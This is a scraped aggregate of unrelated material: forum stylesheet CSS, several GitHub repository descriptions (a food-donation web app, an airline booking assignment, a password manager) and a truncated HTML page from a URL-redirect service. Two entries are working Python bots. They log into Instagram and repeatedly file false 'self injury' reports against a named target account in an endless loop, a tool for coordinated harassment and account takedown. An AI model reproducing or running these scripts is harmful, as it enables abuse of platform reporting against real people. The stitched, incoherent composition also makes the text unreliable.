td{color:#555;cursor:default;font-family:FontAwesome;font-size:16px;font-weight:400;padding-bottom:5px;padding-top:5px;vertical-align:top}.btn-buttom,.fb_iframe_widget,.sceditor-presets img,a#fa_welcome img,div.foruns p a img,table.listTutorial tr{vertical-align:middle}.newStaffListPM td a{color:#555!important}.newStaffListPM td::after{background-color:#FAFAFA;border-radius:50%;font-size:12px;left:8px;margin-left:-12px;position:relative;top:-5px}.newStaffListPM td.PMOff::after{color:#E54732;content:'\f057'}.newStaffListPM td.PMOn::after{color:#60a53a;content:'\f058'}.none{display:none!important}.btn-buttom td,.btn-buttom td a{color:#fff!important}.btn-buttom{-moz-user-select:none;-ms-user-select:none;-webkit-user-select:none;background-color:#337ab7;background-image:none;border:1px solid #2e6da4;border-radius:4px;color:#fff;cursor:pointer;font-size:14px;font-weight:400;line-height:1.42857143;margin-bottom:0;padding:6px 12px;text-align:center;touch-action:manipulation;user-select:none;white-space:nowrap}.btn-buttom:hover{background-color:#2E3133;border-color:#adadad;color:#333}.pedido_alertado,.pedido_finalizado,.pedido_rejeitado{background-color:#ffe0fc;background-position:10px 50%;background-repeat:no-repeat;border:2px solid #c6c;border-radius:3px;margin:10px 0;padding:35px 20px 35px 120px}.pedido_finalizado{background-image:url(https://i.imgur.com/bSiBjKM.png)}.pedido_rejeitado{background-image:url(https://i.imgur.com/Ao6iGOK.png)}.pedido_alertado{background-image:url(https://i.imgur.com/akNRrPf.png)}#profile-advanced-right img:first-child{max-height:200px;max-width:150px}a#fa_welcome img{margin:0 5px 0 0 !important;top:0!important}table.listTutorial:hover{-webkit-transition:all .1s ease-in-out;font-size:17px;transition:all .1s ease-in-out}table.listTutorial tr{padding-top:10px}table.listTutorial td.exp{-webkit-transition:all .1s ease-in-out;border-right:2px solid #659b15;padding:3px;transition:all .1s ease-in-out;vertical-align:middle}table.listTutorial td.exp:hover{-webkit-transition:all .1s ease-in-out;background:rgba(255,87,34,.08);border-right:5px solid #FF5722;transition:all .1s ease-in-out}table.listTutorial td.ico{padding-right:3px}table.listTutorial td.ico:hover{-webkit-transition:all .1s ease-in-out;color:#39c;transition:all .1s ease-in-out}form[name=form_login] .social_btn{display:inline-block;text-align:left}.fb_or{display:inline-block}form#forum-search input#search_keywords+input.button2{border-bottom:none!important;border-radius:0 3px 3px 0!important;height:30px}table.table1 tr>td[bgColor]:first-child{background-color:#39c;color:#fff}table.table1 tr>td[bgColor]:first-child *{color:#fff}.fa-social-network .fa-eye-slash{color:#ef3333;left:4px;position:relative;top:-20px}.navigation{background:#39c;border:1px solid #DDD;border-radius:3px}div#fa_language_list div.title,div.navigation div.title{color:#fff;font-size:12px;font-weight:700;margin-bottom:3px;margin-top:10px;padding-bottom:2px;text-transform:uppercase}.mainmenu,.submenu{list-style:none;margin:0;padding:0}.mainmenu a{background-color:#fafafa;cursor:pointer;display:block;padding:10px;text-decoration:none}div.foruns,p.foruns_button_close{padding:5px}.mainmenu a:hover{background-color:#39c;color:#fff}.mainmenu li:hover .submenu{display:block;max-height:200px}.submenu a{background-color:#f0f6f8;border-bottom:1px solid #fafafa;box-shadow:5px 13px 25px 0 #000}.submenu a:hover{background-color:#666}.submenu{-webkit-transition:all .5s ease-out;max-height:0;overflow:hidden}div.foruns{background:#fafafa;border-radius:4px;margin-bottom:10px;margin-left:10px;margin-right:10px}p.foruns_button_close a{background:#fff;border-radius:3px;padding:5px}dl#field_id10 span img{display:none!important}a[href^="/u63853"]{color:#289cdb!important;font-weight:700!important}#moderator-tools .generate,#moderator-tools h2{color:#fff;text-shadow:rgba(0,0,0,.3) 1px 1px 1px}#moderator-tools *,#moderator-tools :after,#moderator-tools :before{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;border:none;box-sizing:border-box;margin:0;outline:0;padding:0}#moderator-tools{background:#EFF9FC;border-radius:5px;box-shadow:#a2cf65 0 0 1px;font-family:'Lucida sans',sans-serif;font-size:14px;font-style:normal;font-variant:normal;font-weight:400;overflow:hidden}#moderator-tools h2{background:#1f7cbf;border-bottom:#a2cf65 5px solid;font-size:15px;margin:0;padding:.5em}#moderator-tools :disabled{cursor:not-allowed;opacity:.4}#moderator-tools input,#moderator-tools select{background:#fff;border:1px solid #add8e6;border-radius:3px;display:block;padding:3px 5px;width:100%}#moderator-tools .tools-group:not(.tools-header){padding:3px 5px 0}#moderator-tools .generate{background:#a2cf65;border:none;border-radius:2px;box-shadow:inset 0 -3px 0 rgba(0,0,0,.3);cursor:pointer;display:inline-block;font-size:13px;margin:.2em 0;outline:0;padding:.3em 1em .4em;position:relative;text-align:center}#moderator-tools .generate:active{box-shadow:inset 0 -1px 0 rgba(0,0,0,.3);top:2px}.sceditor-button-modcolor div{background-image:url(https://i.servimg.com/u/f56/18/45/41/65/mcolo10.png)!important}.sceditor-button-presets div{background-image:url(https://i.servimg.com/u/f39/18/21/41/30/tuto14.png)!important}#main-content > p:nth-child(1):first-child,#main-content > p:nth-child(1):first-child + p:nth-child(2),#main-content > p:nth-child(1):first-child + p:nth-child(2) + br{display:none}#content-container div#left{margin-top:3px}[id] .module .inner{padding:10px}[id] .module .inner .h3{background-color:#39C;border-bottom:solid 1px #ddd;box-sizing:border-box;color:#fff;font-family:"Trebuchet MS", Arial, sans-serif;font-size:13px;font-weight:700;line-height:1.4;margin:-10px -20px 10px;padding:7.5px 10px 6.5px;text-align:center;text-transform:uppercase}em.hovicon{border-radius:50%;cursor:default;display:inline-block;font-size:25px;height:60px;line-height:60px;margin:15px 15px 0;position:relative;text-align:center;text-decoration:none;width:60px;z-index:1}.hovicon.auto-width{height:auto;padding:15px;width:auto}.hovicon:after{border-radius:100px;box-sizing:content-box;content:'';height:100%;moz-box-sizing:content-box;pointer-events:none;position:absolute;webkit-box-sizing:content-box;width:100%}.hovicon:before{display:block;font-style:normal;font-variant:normal;font-weight:400;speak:none;text-transform:none;webkit-font-smoothing:antialiased}.hovicon.effect-3{box-shadow:0 0 0 4px #eee;transition:color .3s;webkit-box-shadow:0 0 0 4px #eee;webkit-transition:color .3s}.hovicon.effect-3:after{background:#369fcf;left:-2px;padding:2px;top:-2px;transition:transform .2s,opacity .3s;webkit-transition:-webkit-transform .2s,opacity .3s;z-index:-1}.hovicon.effect-3.sub-a{box-shadow:0 0 0 4px #fff!important;cursor:auto;webkit-box-shadow:0 0 0 4px #fff!important}.hovicon.effect-3.sub-a,.hovicon.effect-3.sub-a i{color:#fff}.hovicon.effect-3.sub-b,.hovicon.effect-3.sub-b i{color:#3c3940}.hovicon.effect-3.sub-a:hover,.hovicon.effect-3.sub-b:hover,.hovicon.effect-3.sub-b:hover i{color:#fff}.hovicon.effect-3.sub-a:after,.hovicon.effect-3.sub-b:after{ms-transform:scale(1.3);opacity:0;transform:scale(1.3);webkit-transform:scale(1.3)}.hovicon.effect-3.sub-a:hover:after,.hovicon.effect-3.sub-b:hover:after{ms-transform:scale(1);opacity:1;transform:scale(1);webkit-transform:scale(1)}table.devTable{background:url(https://illiweb.com/fa/modernbb/bg_header.svg) center center no-repeat #369fcf;background-size:cover;border-bottom:1px solid #2e3133;border-left:1px solid #2e3133;border-radius:2px;border-right:1px solid #2e3133;border-top:5px solid #2e3133;padding:10px;table-layout:fixed}table.devTable td.titulo h2{border:none!important;color:#fff;font-family:Arial;line-height:0;text-align:center}table.devTable .palign{background:rgba(0,0,0,.2);color:#fff;line-height:1.5rem;padding:15px}table.devTable .bodyClear{background-color:#fff;border-radius:3px;padding:10px}table.devTable .bodyClear h3{border-bottom:dashed 1px #E9553C!important}table.devTable td.footer{color:rgba(255,255,255,.22);line-height:50px}#form_move_mod{padding-top:5px}.sugestion_study,.topic_alert,.topic_solved,.topic_warn{background-position:10px 50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;margin:10px 0;padding:35px 20px 35px 120px}.sugestion_study{background-color:#FFFAE0;background-image:url(https://i.servimg.com/u/f19/18/76/69/60/study10.png);border-color:#FFBD00}.topic_solved{background-color:#EDFFE0;background-image:url(https://i.servimg.com/u/f39/15/88/72/83/symbol10.png);border-color:#84C754}.topic_warn{background-color:#FFE6E2;background-image:url(https://i.servimg.com/u/f39/15/88/72/83/warnin10.png);border-color:#E9553C}.topic_alert{background-color:#FBFFB2;background-image:url(https://i.servimg.com/u/f39/15/88/72/83/delete11.png);border-color:#E9C63C}.tuto-ast-off,.tuto-jur,.tuto-jur-contain,.tuto-off{background-color:#f7f7f7;border-right:1px solid #ddd;border-spacing:0;margin-left:-10px;position:relative;width:100%}div.postbody .tuto-ast-off:first-child,div.postbody .tuto-jur,div.postbody .tuto-off:first-child{border-radius:0 10px 0 0;margin-top:20px}.tuto-ast-title,.tuto-jur-title,.tuto-title{background:url(https://i.imgur.com/d8gCGFF.png) 0 -4px no-repeat #39c;border-radius:0 10px 0 0;border-top:2px solid #17a;color:#fff;font-family:sans-serif;font-size:25px;font-weight:700;height:100px;padding-left:100px;text-shadow:1px 0 0 #17a}.tuto-jur-title{background-color:#e34839;border-top:2px solid #dd2e20;text-shadow:1px 0 0 #dd2e20}.tuto-ast-title{background-color:#89ba5b;border-top:2px solid #57983a;text-shadow:1px 0 0 #57983a}.tuto-contain,.tuto-jur-contain td{border-left:75px solid #eee;border-right:20px solid #eee;padding:10px 20px}.tuto-contain h2.post-content,.tuto-jur-contain td h2.post-content{background-color:#eee;border-bottom:1px solid #ddd!important;color:#333!important;counter-increment:chapter;counter-reset:subpart;font-family:sans-serif;font-size:1.5em;margin-bottom:15px;margin-left:-20px;margin-right:-20px;padding:10px}.tuto-contain h3.post-content,.tuto-jur-contain td h3.post-content{border-bottom:1px solid #333;color:#333;counter-increment:subpart;font-family:sans-serif;padding-bottom:5px;text-transform:unset}.tuto-contain h2.post-content::before,.tuto-jur-contain td h2.post-content::before{background-color:#333;border-radius:31px;box-sizing:border-box;color:#fff;content:counter(chapter,decimal);display:inline-block;height:33px;margin-left:-50px;margin-right:15px;text-align:center;width:33px}.tuto-contain h3.post-content:before,.tuto-jur-contain td h3.post-content::before{content:counter(chapter) "." counter(subpart) ". "}.tuto-contain.reset,.tuto-jur-contain.reset{counter-reset:chapter}.tuto-ast-footer,.tuto-footer{background-color:#333;border-radius:0 0 10px;color:#fff;font-family:sans-serif;font-size:.9em;margin-bottom:15px;margin-left:-10px;width:100%}.tuto-ast-copy,.tuto-copy{padding:10px 20px}.tuto-ast-copy::before,.tuto-copy::before{content:"\f129";float:right;font-family:FontAwesome;font-size:6em;margin-top:28px}.mod-action{background-color:#39c;border:2px solid #39c;border-radius:2px;color:#fff;display:block;margin:1em 25px 1em 1em;padding:15px}.mod-action tbody,.mod-action thead{display:block;width:100%}.mod-action tbody>tr{-ms-flex-align:center;-ms-flex-pack:justify;-webkit-box-align:center;-webkit-box-pack:justify;align-items:center;display:flex;justify-content:space-between;width:100%}.mod-action td{flex-grow:1}.mod-action tbody>tr>td.icon{flex-grow:initial;font-size:25px;margin-right:15px}.mod-action h2,.mod-action h3,.mod-action h4{color:inherit;font-size:1.2em;margin-bottom:.4em}.mod-action h2+br,.mod-action h3+br,.mod-action h4+br{display:none}.mod-action a{color:inherit;text-decoration:underline}.mod-action a:hover{color:#eee}.mod-action.adm,.mod-action.danger{background-color:#EF3333;border-color:#EF3333}.mod-action.mod,.mod-action.success{background-color:#68B800;border-color:#68B800}.mod-action.aju,.mod-action.warning{background-color:#F5AE42;border-color:#F5AE42}.mod-action.art{background-color:#787DEA;border-color:#787DEA}.mod-action.pub{background-color:#00B5D1;border-color:#00B5D1}.mod-action.dev{background-color:#444;border-color:#444}@media only screen and (min-width:1240px){#wrap{max-width:80%}}@media only screen and (min-width:1100px) and (max-width:1239px){#wrap{max-width:90%}}@media only screen and (min-width:901px) and (max-width:1200px){.cards .card{padding:20px 15px}.cards .fa{font-size:20px}}@media screen and (max-width:1224px){.main-left ul.fa-ul{display:none}.main-left ul.mini-screen{display:block}}@media screen and (min-width:1570px){.post.search .postbody img,.postbody .content img{max-width:700px}}@media screen and (max-width:1569px) and (min-width:1270px){.post.search .postbody img,.postbody .content img{max-width:500px}}@media screen and (max-width:1269px) and (min-width:1130px){.post.search .postbody img,.postbody .content img{max-width:400px}}@media screen and (max-width:1029px){.post.search .postbody img,.postbody .content img{max-width:350px}} .fade { display:inline-block; background: -moz-linear-gradient(left, rgb(235,234,221) 0%, rgba(235,234,221,0) 100%); background-image: -webkit-gradient(linear, left top, right top, color-stop(0.00, rgb(235,234,221)), color-stop(1.00, rgba(235,234,221,0))); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ebeadd, endColorstr=#00ebeadd, GradientType=1); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#ebeadd, endColorstr=#00ebeadd, GradientType=1)"; } .blur { display:inline-block; color:#ddd; text-shadow: 0 0 2px #aaaaaa; text-shadow: 0 0 4px #aaaaaa; text-shadow: 0 0 6px #aaaaaa; -ms-filter: "progid:DXImageTransform.Microsoft.Blur(pixelradius=2)"; filter: progid:DXImageTransform.Microsoft.MotionBlur(strength=1,direction=310) progid:DXImageTransform.Microsoft.Blur(pixelradius=2); } .flipH { display:inline-block; -moz-transform:scale(-1,1); -o-transform:scale(-1,1); -webkit-transform:scale(-1,1); transform:scale(-1,1); -ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=-1, M12=0, M21=0, M22=1, SizingMethod='auto expand')"; filter: progid:DXImageTransform.Microsoft.Matrix( M11=-1, M12=0, M21=0, M22=1, SizingMethod="auto expand"); } .flipV { display:inline-block; -moz-transform:scale(1,-1); -o-transform:scale(1,-1); -webkit-transform:scale(1,-1); transform:scale(1,-1); -ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=1, M12=0, M21=0, M22=-1, SizingMethod='auto expand')"; filter: progid:DXImageTransform.Microsoft.Matrix( M11=1, M12=0, M21=0, M22=-1, SizingMethod="auto expand"); }
AnimeshMondol
# SU19CSE299S02G05 <p align="center"> <img width="200" height="200" src="https://media.licdn.com/dms/image/C560BAQEFJPl7DXD1Dg/company-logo_200_200/0?e=2159024400&v=beta&t=4wzyvb7GBsvMovoet_LGS9uj_Gso_kmfWqCXnqydCDI"> </p> <h1 style="text-align: center">         North South University</h1> #        Project Name: Stop Food Waste **                      CSE299: JUNIOR DESIGN** **                        SEC: 02, Group: 05** **                Instructor:** **SHAIKH SHAWON AREFIN SHIMON (SAS3)** **                      Semester:** **Summer 2019** <br> **                        GROUP MEMBERS**                        1. **Animesh Mondol**                          **ID: 1611971042** **                   Email: animesh.sarkar02@northsouth.edu**                        2. **Shamsunnar Sumi**                          **ID: 1621762042**                    **Email: shamsunnar.sumi@northsouth.edu**           **GitHub Repository Link:** **https://github.com/AnimeshMondol/SU19CSE299S02G05NSU**                       **Date Prepared: 19/06/2019** <br><br><br><br><br> **Project Details:** Our project idea is Stop Food Waste. In our country during different program there are some large amount of food are being wasted. So we want to make a web app where people can donate that food to the poor needy people. With this web app we are trying to solve the problem of food faced by a certain amount of people in our country. We also want to use mobile phone access to the users so that they can use mobile phone to access the web page. **Features:** <br> **Login:** The system provides security features through email-password matching where only authorized user can access the system. **Admin Login:** In this part the manager will keep up the donated elements and donor details. He/ She will be able to know all the information and edit them. He/ She can assign people where to pick up the food from which will be shown in Google Map. 1. Add user 2. Remove user 3. View user 4. View request 5. Remove request 6. View donation 7. Confirm pickup location 8. Logout **User Login:** In this part user will be able to login and he/she will be able to see all the donor and there will be an option where user can be a donor. He/ She can also see the place in the map where to go, to pick up the food. **User Login:** 1. Donate food 2. Sign In 3. Become a donor 4. Send request 5. View request 6. About us 7. Contact us 8. Logout **Donate food:** In this part user can donote food by seeing the request id send by the other user. It will also contain a form where donor needs to add his name, mobile, email, req_id, quntity. By submitting the form it will take it to the user map for setup the location in the map. **Request for food:** In this part user can request for food to the website so that other user(donor) can donote food to them for donotion. **Donote Us** In this part user will have a option to donote us money if they want for the development purpose. In this part there will be Bkash and Rocket no where donors can donate us. It will contain a form where name,mobile,amount and transaction id will be asked to stored on DB. **View requests** Here user can see the pending requests for food. **About Us:** In this section there will be information about the program. **Contact Us** In this part there will be information about how to contact us and also there will be a part where user can poot comments and ask for help directly to the admin. **Technology:** HTML, PHP, CSS, Bootstrap template, My SQL Server, Google Map API. **Business Plan:** It is mainly a free to use for everyone. There will be no need for any amount of money to create an account in this webpage. But through Google AdSense we want to monetize the webpage. Also if any donor wants to donate some amount of money they can do it through Bkash , Rocket . <br><br> **Design:** We used the template of Bootstrap containing all the CSS and JS files downloaded from their website. We don't use any extra design in the webpage. But we used some image files to make the website look a little good. **Planning:** After selecting the project, we started our work by creating a UML diagram to make our work easy and it helped us to understand what we need to add or not in our website. Then we created issues in the project board. Then by weekly submission we tried to solve those issues. The project contains total of 43 closed issues which was used to make this website. All the details are shown in the project bord https://github.com/AnimeshMondol/SU19CSE299S02G05NSU/projects/1 **What did/didn't work:** Around 85-90% of our project run's very well. But we faced some problems. They are: 1. As we were unable to constract the foregin key in the DB after login the user need to input his name, mobile no , email and other informations manually. 2. For the donate us page under user, we didn't find any proper solution on how we can give the user the confermation about if his donation is received or not. So we manually take the name , mobile , the amount of money he donated and transaction id and store in the DB. 3. The admin map has some bugs that we were unable to fix. It doesn't refresh after the pickup confermation was done by the admin. 4. We wanted user to make the pickup request from his/her phone but we didn't able to make the website suitable for phones. **Screenshots:**                         **Image: DB(Foodforall)** <br>                          **Image: Homepage** <br>                          **Image: Login Page** <br>                         **Image: Join us Page** <br>                         **Image: Donor Login Page** <br>                         **Image: Food Donation** <br>                         **Image: User map** <br>                         **Image: Admin Login** <br>                         **Image: Admin Home** <br>                         **Image: Admin map** <br><br><br> **Conclusion:** 1. First of all we learnt how to use Github. It was completely new for us. But we now know how to use it. 2. We learnt about PHP, HTML and How to create DB connection in Mysql to create a project. 3. If we have more time we may be able to make the full project work properly. 4. In future, if we get chance we also want to create a android app for this weabsite. **References:** 1.https://getbootstrap.com/docs/4.3/examples/starter-template/ 2.https://www.w3schools.com/ 3.https://www.youtube.com/ 4.https://stackoverflow.com/questions/22138746/php-form-not-inserting-into-mysql-database 5.https://www.google.com/search?q=html+color+picker&oq=html+&aqs=chrome.0.69i59j69i57j69i60j69i65l2j69i60.3167j0j7&sourceid=chrome&ie=UTF-8 6.https://www.geeksforgeeks.org/ 7.https://www.youtube.com/watch?v=q2VV3-yWupU 8.https://bitbucket.org/webeasystep/markers_manager_php_mysql/src/master/
AryamanTewari
FlyAway (An Airline Booking Portal). Project 2 DESCRIPTION Project objective: As a Full Stack Developer, design and develop an airline booking portal named as FlyAway. Use the GitHub repository to manage the project artifacts. Background of the problem statement: FlyAway is a ticket-booking portal that lets people book flights on their website. The website needs to have the following features: ● A search form in the homepage to allow entry of travel details, like the date of travel, source, destination, and the number of persons. ● Based on the travel details entered, it will show the available flights with their ticket prices. ● Once a person selects a flight to book, they will be taken to a register page where they must fill in their personal details. In the next page, they are shown the flight details of the flight that they are booking, and the payment is done via a dummy payment gateway. On completion of the payment, they are shown a confirmation page with the details of the booking. For the above features to work, there will be an admin backend with the following features: ● An admin login page where the admin can change the password after login, if he wishes ● A master list of places for source and destination ● A master list of airlines ● A list of flights where each flight has a source, destination, airline, and ticket price The goal of the company is to deliver a high-end quality product as early as possible. The flow and features of the application: ● Plan more than two sprints to complete the application ● Document the flow of the application and prepare a flow chart ● List the core concepts and algorithms being used to complete this application ● Implement the appropriate concepts, such as exceptions, collections, and sorting techniques for source code optimization and increased performance You must use the following: ● Eclipse/IntelliJ: An IDE to code for the application ● Java: A programming language to develop the web pages, databases, and others ● SQL: To create tables for admin, airlines, and other specifics ● Maven: To create a web-enabled Maven project ● Git: To connect and push files from the local system to GitHub ● GitHub: To store the application code and track its versions ● Scrum: An efficient agile framework to deliver the product incrementally ● Search and Sort techniques: Data structures used for the project ● Specification document: Any open-source document or Google Docs The following requirements should be met: ● The source code should be pushed to your GitHub repository. You need to document the steps and write the algorithms in it. ● The submission of your GitHub repository link is mandatory. In order to track your task, you need to share the link of the repository. You can add a section in your document. ● Document the step-by-step process starting from sprint planning to the product release. ● The application should not close, exit, or throw an exception if the user specifies an invalid input. ● You need to submit the final specification document which will include: ● Project and developer details ● Sprints planned and the tasks achieved in them ● Algorithms and flowcharts of the application ● Core concepts used in the project ● Links to the GitHub repository to verify the project completion
Psifer
Encipher is C# Windows Form App where you can store your user login information offline. Encipher incorporates Google Authenticator to login into the program. It encrypts the user inputted data into AES-256 bit encryption which is then saved on the local database created by the program.
hsodr1
try: import requests import uuid import time except Exception as e: print(e) logo = (""" ("--------------------------") ("telegram:tll86") ("--------------------------") """) print(logo) user = input('Enter username: ') password = input('Enter password: ') target = str(input(("Target:"))) sle = int(input("Enter sleep: ")) def login(): global target r = requests.Session() uid = str(uuid.uuid4()) url = "https://i.instagram.com/api/v1/accounts/login/" headers = { 'User-Agent': 'Instagram 113.0.0.39.122 Android (24/5.0; 515dpi; 1440x2416; huawei/google; Nexus 6P; angler; angler; en_US)', "Accept": "*/*", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US", "X-IG-Capabilities": "3brTvw==", "X-IG-Connection-Type": "WIFI", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 'Host': 'i.instagram.com' } data = { '_uuid': uid, 'username': user, 'enc_password': '#PWD_INSTAGRAM_BROWSER:0:1589682409:{}'.format(password), 'queryParams': '{}', 'optIntoOneTap': 'false', 'device_id': uid, 'from_reg': 'false', '_csrftoken': 'missing', 'login_attempt_count': '0' } loginreq = r.post(url, data=data, headers=headers, allow_redirects=True) print(loginreq.text) if loginreq.text.find("is_private") >= 0: done = 0 print("DONE LOGIN") r.headers.update({'X-CSRFToken': loginreq.cookies['csrftoken']}) url_id = "https://www.instagram.com/{}/?__a=1".format(target) url_get_user_id = r.get(url_id).json() print(url_get_user_id) while True: user_id = str(url_get_user_id["logging_page_id"]) your_user_id = str(user_id.split("_")[1])# 4231341234 urlRep = "https://i.instagram.com/users/" + your_user_id + "/report/" datas = { 'source_name': '', 'reason_id': 2, 'frx_context': '' # self injury } req_SessionID = r.post(urlRep, data=datas) done += 1 print(f"Done self injury by tll86 : : {done}") time.sleep(0.1) else: print("LOGIN FAILED CHECK YOUR INFO!") login()
k9zz
try: import requests import uuid import time except Exception as d: print(d) print(""" ███████████████████████████ ███████▀▀▀░░░░░░░▀▀▀███████ ████▀░░░░░░░░░░░░░░░░░▀████ ███│░░░░░░░░░░░░░░░░░░░│███ ██▌│░░░░░░░░░░░░░░░░░░░│▐██ ██░└┐░░░░░░░░░░░░░░░░░┌┘░██ ██░░└┐░░░░░░░░░░░░░░░┌┘░░██ ██░░┌┘▄▄▄▄▄░░░░░▄▄▄▄▄└┐░░██ ██▌░│██████▌░░░▐██████│░▐██ ███░│▐███▀▀░░▄░░▀▀███▌│░███ ██▀─┘░░░░░░░▐█▌░░░░░░░└─▀██ ██▄░░░▄▄▄▓░░▀█▀░░▓▄▄▄░░░▄██ ████▄─┘██▌░░░░░░░▐██└─▄████ █████░░▐█─┬┬┬┬┬┬┬─█▌░░█████ ████▌░░░▀┬┼┼┼┼┼┼┼┬▀░░░▐████ █████▄░░░└┴┴┴┴┴┴┴┘░░░▄█████ ███████▄░░░░░░░░░░░▄███████ ██████████▄▄▄▄▄▄▄██████████ ███████████████████████████ مصمم البوت: inst k9_zz حمودي الزبيدي """) user = input('يوزرك: ') password = input('كلمة السر: ') target = str(input(("العار الي تشد عليه:"))) sle = int(input("النوم: ")) def login(): global target r = requests.Session() uid = str(uuid.uuid4()) url = "https://i.instagram.com/api/v1/accounts/login/" headers = { 'User-Agent': 'Instagram 113.0.0.39.122 Android (24/5.0; 515dpi; 1440x2416; huawei/google; Nexus 6P; angler; angler; en_US)', "Accept": "*/*", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US", "X-IG-Capabilities": "3brTvw==", "X-IG-Connection-Type": "WIFI", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 'Host': 'i.instagram.com' } data = { '_uuid': uid, 'username': user, 'enc_password': '#PWD_INSTAGRAM_BROWSER:0:1589682409:{}'.format(password), 'queryParams': '{}', 'optIntoOneTap': 'false', 'device_id': uid, 'from_reg': 'false', '_csrftoken': 'missing', 'login_attempt_count': '0' } loginreq = r.post(url, data=data, headers=headers, allow_redirects=True) print(loginreq.text) if loginreq.text.find("is_private") >= 0: done = 0 print("DONE LOGIN") r.headers.update({'X-CSRFToken': loginreq.cookies['csrftoken']}) url_id = "https://www.instagram.com/{}/?__a=1".format(target) url_get_user_id = r.get(url_id).json() print(url_get_user_id) while True: user_id = str(url_get_user_id["logging_page_id"]) your_user_id = str(user_id.split("_")[1])# 4231341234 urlRep = "https://i.instagram.com/users/" + your_user_id + "/report/" datas = { 'source_name': '', 'reason_id': 2, 'frx_context': '' # self injury } req_SessionID = r.post(urlRep, data=datas) done += 1 print(f"تم ابلاغ -> ✅ : : {done}") time.sleep(0.1) else: print("ترا البوت مراح يخمط حسابك والله") login()
haseemajaz
Simplified version of the CyberPanel login page, designed with a clean and responsive interface. It provides a user-friendly login experience with form input fields, Google Authenticator support, and error handling.
shivamv12
OAuth(or Open Authorization) is the approach for authenticating end-user. It makes your application much easier and handy for an end-user, as they can eaily choose a social login (Facebook, Google or Twitter) to signup, instead of filling a boring traditional form with some labels & inputs.
Cristina2020-art
No description available
SirDrakai
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>Vai.lá - Redirecionamento de sites e encurtador de url, registro de domínio no formato seunome.vai.la. Domínio grátis!</title> <meta lang="pt" name="title" content="Vai.lá - Redirecionamento de sites e encurtador de url, registro de domínio no formato seunome.vai.la. Domínio grátis!"> <meta lang="pt" name="Description" content="Serviço de redirecionamento de sites e emails, dominios Gratis. Redirecione seu dominio .vai.la para qualquer outro lugar, inclusive hospedagens gratuitas, como geocites, hpg, kit.net, sem propaganda."> <meta lang="pt" name="Keywords" content="redirecionamento de sites, redirecionamento de emails, dominios Gratuitos, domínios, domínios grátis, hospedagens gratuitas, geocites, hpg, kit.net, grátis, redirecionamento, redirecionamentos, exclusivo, único"> <meta lang="pt" name="Abstract" content="Serviço de redirecionamento de sites e emails, Dominios Gratuitos. Redirecione seu dominio .vai.la para qualquer outro lugar, inclusive hospedagens gratuitas, como geocites, hpg, kit.net, entre outros"> <meta name="robots" content="index,follow"> <meta name="revisit" content="1 days"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta http-equiv="Cache-Control" content="no-cache, no-store" /> <meta http-equiv="Pragma" content="no-cache, no-store" /> <meta http-equiv="expires" content="Mon, 06 Jan 1990 00:00:01 GMT" /> <link rel="shortcut icon" href="http://www.vai.la/favicon.ico" type="image/x-icon" /> <link rel="icon" type="ico" href="http://www.vai.la/favicon.ico" /> <link rel="stylesheet" type="text/css" href="http://www.vai.la/common/css/layout.css" /> <link rel="stylesheet" type="text/css" href="http://www.vai.la/common/css/account.forms.css" /> <link type="text/css" href="http://www.vai.la/common/css/jqueryui/jquery-ui-1.8.6.custom.css" rel="stylesheet" /> <!--[if lte IE 7]> <link rel="stylesheet" type="text/css" href="http://www.vai.la/common/css/menu-blue-ie.css" /> <![endif]--> <script type="text/javascript" src="http://www.vai.la/common/js/jquery.sizzle.js"></script> <script type="text/javascript" src="http://www.vai.la/common/js/jquery.js"></script> <script type="text/javascript" src="http://www.vai.la/common/js/jquery-ui.js"></script> <script type="text/javascript" src="http://www.vai.la/common/js/json.js"></script> <script type="text/javascript" src="http://www.vai.la/common/js/jquery.labelify.js"></script> <script type="text/javascript"> $(document).ready(function(){ $(":text").labelify(); }); </script> <script type="text/javascript"> jQuery(document).ready(function($) { $(".nav-menu li").hover(function(){ $(this).find('ul').show(); $(this).addClass("selecionado"); },function(){ $(this).find('ul').hide(); $(this).removeClass("selecionado"); }); }); </script> <link rel="commands" href="http://www.vai.la/common/js/ubiquity.js" name="Ubiquity Vai.la Command" /> <script type="text/javascript" src="http://www.vai.la/common/js/jquery.meiomask.js" charset="utf-8" ></script></p> <script type="text/javascript"><!-- (function($){ $( function(){ $('input:text').setMask(); } ); })(jQuery); $.mask.rules = { '*': /[0-9a-z-]/, '=': /[0-9a-z_]/ }; $.mask.masks.dom_name = {mask: '**************************************************', maxLength: '50', type: 'repeat' } $.mask.masks.use_username = {mask: '============================================================', maxLength: '60', type: 'repeat' } // --></script> </head> <body> <div id="layoutPage"> <div style="margin:9px 0 10px 0;"> <div id="header"> <li><a href="http://en.vai.la/" style="border:0px; text-decoration: none;"><img src="http://www.vai.la/common/img/layout/us.png" border="0" align="absmiddle"> </a><a href="http://www.en.vai.la/">English version</a> <span>|</span> </li> <li><a href="http://es.vai.la/" style="border:0px; text-decoration: none;"><img src="http://www.vai.la/common/img/layout/es.png" border="0" align="absmiddle"> </a><a href="http://www.es.vai.la/">Versión en español</a></li> </div> <div id="header" style="float: right; text-align: right;"> <li><a href="http://www.vai.la/default/account/login?continue=vai.la/">Entrar</a> <span>|</span> </li> <li><a href="http://www.vai.la/default/account/signup?continue=vai.la/">Cadastre-se</a></li> </div> <div style="width: 100%; height:10px; border-bottom: solid 1px #DCDCDC; clear:both;"></div> </div> <div style="float:left; height:86px;"> <a href="http://www.vai.la"><img src="http://www.vai.la/common/img/layout/logo_square.png" alt="Vai.la" border="0" /></a> </div> <div style="width:714px; float:right; height:52px; border:0px solid #000;"> <form role="search" method="get" id="searchform" action="http://www.vai.la/twitter/search" > <div style="float:left;"><input name="q" type="text"title="O QUE DESEJA BUSCAR?" style="width: 624px; height: 20px; font-size: 17px; color:#999; text-transform: uppercase; 